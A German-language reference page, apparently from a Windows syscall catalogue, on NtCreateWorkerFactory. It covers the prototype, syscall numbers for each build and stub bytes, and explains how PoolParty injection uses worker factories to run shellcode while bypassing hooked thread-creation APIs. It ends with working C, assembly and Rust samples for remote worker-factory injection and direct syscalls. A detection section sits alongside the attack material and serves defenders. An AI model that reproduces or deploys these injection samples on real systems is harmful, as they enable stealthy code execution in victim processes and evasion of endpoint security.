NtCreateWorkerFactory
Erzeugt ein Kernel-Worker-Factory-Objekt — die Threadpool-Primitive, die PoolParty-Injection missbraucht, um Shellcode ohne NtCreateThreadEx auszuführen.
Prototyp
NTSTATUS NtCreateWorkerFactory( PHANDLE WorkerFactoryHandleReturn, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE CompletionPortHandle, HANDLE WorkerProcessHandle, PVOID StartRoutine, PVOID StartParameter, ULONG MaxThreadCount, SIZE_T StackReserve, SIZE_T StackCommit );
Argumente
| Name | Type | Dir | Description |
|---|---|---|---|
| WorkerFactoryHandleReturn | PHANDLE | out | Erhält das neue Worker-Factory-Handle bei Erfolg. |
| DesiredAccess | ACCESS_MASK | in | Angeforderte Zugriffsmaske — WORKER_FACTORY_ALL_ACCESS (0xF00FF) für vollen Zugriff. |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Optionale OBJECT_ATTRIBUTES, üblicherweise NULL — Worker Factories werden selten benannt. |
| CompletionPortHandle | HANDLE | in | Handle auf einen I/O-Completion-Port (NtCreateIoCompletion), der den Worker-Threads der Factory Arbeit liefert. |
| WorkerProcessHandle | HANDLE | in | Prozess, in dem die Worker-Threads laufen. NtCurrentProcess() für den eigenen Prozess; ein Remote-Handle ist der PoolParty-Injection-Vektor. |
| StartRoutine | PVOID | in | Adresse des Worker-Thread-Einsprungpunkts — üblicherweise ntdll!TppWorkerThread bei legitimen Threadpools, vom Angreifer kontrolliert bei PoolParty. |
| StartParameter | PVOID | in | Einzelner Parameter, der StartRoutine bei jedem neuen Worker-Thread übergeben wird. |
| MaxThreadCount | ULONG | in | Maximale Anzahl gleichzeitig laufender Worker-Threads, die die Factory erzeugen darf. |
| StackReserve | SIZE_T | in | Stack-Reservierung in Bytes für jeden Worker-Thread. 0 verwendet den Image-Default. |
| StackCommit | SIZE_T | in | Initial committeter Stack für jeden Worker-Thread. |
Syscall-IDs pro Windows-Version
| Windows-Version | Syscall-ID | Build |
|---|---|---|
| Win10 1507 | 0xBE | win10-1507 |
| Win10 1607 | 0xC1 | win10-1607 |
| Win10 1703 | 0xC4 | win10-1703 |
| Win10 1709 | 0xC5 | win10-1709 |
| Win10 1803 | 0xC6 | win10-1803 |
| Win10 1809 | 0xC7 | win10-1809 |
| Win10 1903 | 0xC8 | win10-1903 |
| Win10 1909 | 0xC8 | win10-1909 |
| Win10 2004 | 0xCC | win10-2004 |
| Win10 20H2 | 0xCC | win10-20h2 |
| Win10 21H1 | 0xCC | win10-21h1 |
| Win10 21H2 | 0xCD | win10-21h2 |
| Win10 22H2 | 0xCD | win10-22h2 |
| Win11 21H2 | 0xD2 | win11-21h2 |
| Win11 22H2 | 0xD3 | win11-22h2 |
| Win11 23H2 | 0xD3 | win11-23h2 |
| Win11 24H2 | 0xD5 | win11-24h2 |
| Server 2016 | 0xC1 | winserver-2016 |
| Server 2019 | 0xC7 | winserver-2019 |
| Server 2022 | 0xD1 | winserver-2022 |
| Server 2025 | 0xD5 | winserver-2025 |
Kernel-Modul
Verwandte APIs
Syscall-Stub
4C 8B D1 mov r10, rcx B8 D5 00 00 00 mov eax, 0xD5 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undokumentierte Hinweise
NtCreateWorkerFactory ist die Kernel-Hälfte des User-Mode-Windows-Threadpools: jeder `CreateThreadpool`, `CreateThreadpoolWork`, `SubmitThreadpoolWork` in kernel32 / ntdll steuert letztlich ein `WorkerFactory`-Objekt über diesen Syscall. Die Factory verbindet einen I/O-Completion-Port (Quelle der Work-Items), einen Zielprozess für Worker-Threads und eine `StartRoutine`, die beim Online-Gehen der Threads aufgerufen wird. Bei legitimem Code ist diese StartRoutine `ntdll!TppWorkerThread`, das anschließend in `NtWaitForWorkViaWorkerFactory` schleift. Das undokumentierte Design — ein einzelner Syscall, der Threads in einem beliebigen Prozess mit beliebigem Einsprungpunkt erzeugt — macht es zu einer mächtigen Injection-Primitive, und die Syscall-Nummer driftet fast bei jedem Feature-Release.
Häufige Malware-Nutzung
Dies ist die Grundlage der PoolParty-Injection-Familie, die Alon Leviev (SafeBreach) auf der Black Hat Europe 2023 vorstellte. Die kanonische Variante: ein Handle auf einen Remote-Prozess öffnen, einen I/O-Completion-Port und eine Worker Factory in diesem Prozess mit `StartRoutine` auf angreifergeliefertem Shellcode im Remote-Adressraum anlegen, dann Arbeit posten, um Threads zu wecken. Ergebnis: Code-Ausführung im Ziel, *ohne jemals* `NtCreateThreadEx`, `NtQueueApcThread`, `NtSetContextThread`, `CreateRemoteThread`, `RtlCreateUserThread`, `NtMapViewOfSection` oder eine der sieben bis acht Thread-Erzeugungs-Primitiven aufzurufen, die fast jedes EDR hookt. Acht eigenständige PoolParty-Varianten landen alle hier.
Erkennungsmöglichkeiten
Worker-Factory-Erzeugung, die Prozessgrenzen überschreitet, ist das hochwertigste Signal. Cross-Process-`NtCreateWorkerFactory` (wenn `WorkerProcessHandle` nicht auf den aufrufenden Prozess verweist) ist außerhalb von Angreifer-Tooling praktisch unbekannt. ETW deckt nur eingeschränkt ab — der Microsoft-Windows-Threading-Provider emittiert einige Worker-Factory-Events, aber nicht den Syscall selbst; der Threat-Intelligence-Provider deckt diese Primitive derzeit nicht. Praktische Erkennung: Kernel-Callback-Prüfung des `ProcessHandle` des `WorkerFactory`-Objekts gegen das erzeugende EPROCESS, oder User-Mode-Hooking von ntdll!NtCreateWorkerFactory (das direkte Syscalls umgehen — dann ist der Kernel-Ansatz nötig). VAD-Scan des Zielprozesses nach RX-Regionen ohne Image-Backing, gefolgt von einer Worker Factory, die diese Region referenziert, ist die sauberste Post-Mortem-Jagd.
Direkte Syscall-Beispiele
cPoolParty Variant 1 — remote worker factory
// PoolParty 'Worker Factory Start Routine Overwrite' skeleton.
// Assumes hProc opened with PROCESS_ALL_ACCESS, shellcode already written
// to pRemoteShellcode (RX) in the victim.
HANDLE hIoCompletion = NULL;
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
// 1. Create an I/O completion port in *our* process — the kernel just needs a handle.
NtCreateIoCompletion(&hIoCompletion, IO_COMPLETION_ALL_ACCESS, &oa, 0);
// 2. Duplicate it into the victim so the worker factory there can consume it.
HANDLE hRemoteIoCompletion = NULL;
NtDuplicateObject(NtCurrentProcess(), hIoCompletion, hProc, &hRemoteIoCompletion,
0, 0, DUPLICATE_SAME_ACCESS);
// 3. Create the worker factory in the victim. StartRoutine = shellcode.
HANDLE hWorkerFactory = NULL;
NtCreateWorkerFactory(&hWorkerFactory,
WORKER_FACTORY_ALL_ACCESS, NULL,
hRemoteIoCompletion,
hProc, // <-- victim process
pRemoteShellcode, // <-- attacker payload
NULL, // StartParameter
1, 0x100000, 0x10000);
// 4. Post a single work item — wakes one worker thread, which jumps to shellcode.
NtSetIoCompletion(hIoCompletion, NULL, NULL, STATUS_SUCCESS, 1);asmx64 direct stub (Win11 24H2 SSN 0xD5)
; NtCreateWorkerFactory direct syscall — SSN drifts per build, resolve dynamically in production.
NtCreateWorkerFactory PROC
mov r10, rcx
mov eax, 0D5h ; Win11 24H2 / Server 2025
syscall
ret
NtCreateWorkerFactory ENDPrustwindows-sys cross-process invocation
// Cargo: windows-sys = "0.59" ; ntapi = "0.4" for the prototype.
// Demonstrates the cross-process flag — flagged by Sysmon EID 10 on the OpenProcess.
use ntapi::ntpsapi::NtCurrentProcess;
use ntapi::ntexapi::NtCreateWorkerFactory;
use windows_sys::Win32::Foundation::HANDLE;
unsafe fn spawn_remote_worker(
victim: HANDLE,
remote_iocp: HANDLE,
remote_payload: *mut core::ffi::c_void,
) -> HANDLE {
let mut wf: HANDLE = 0;
let status = NtCreateWorkerFactory(
&mut wf as *mut _ as *mut _,
0x000F00FF, // WORKER_FACTORY_ALL_ACCESS
core::ptr::null_mut(),
remote_iocp,
victim,
remote_payload,
core::ptr::null_mut(),
1,
0x100000,
0x10000,
);
assert_eq!(status, 0, "NtCreateWorkerFactory failed: {status:#x}");
wf
}MITRE ATT&CK-Mappings
Last verified: 2026-05-20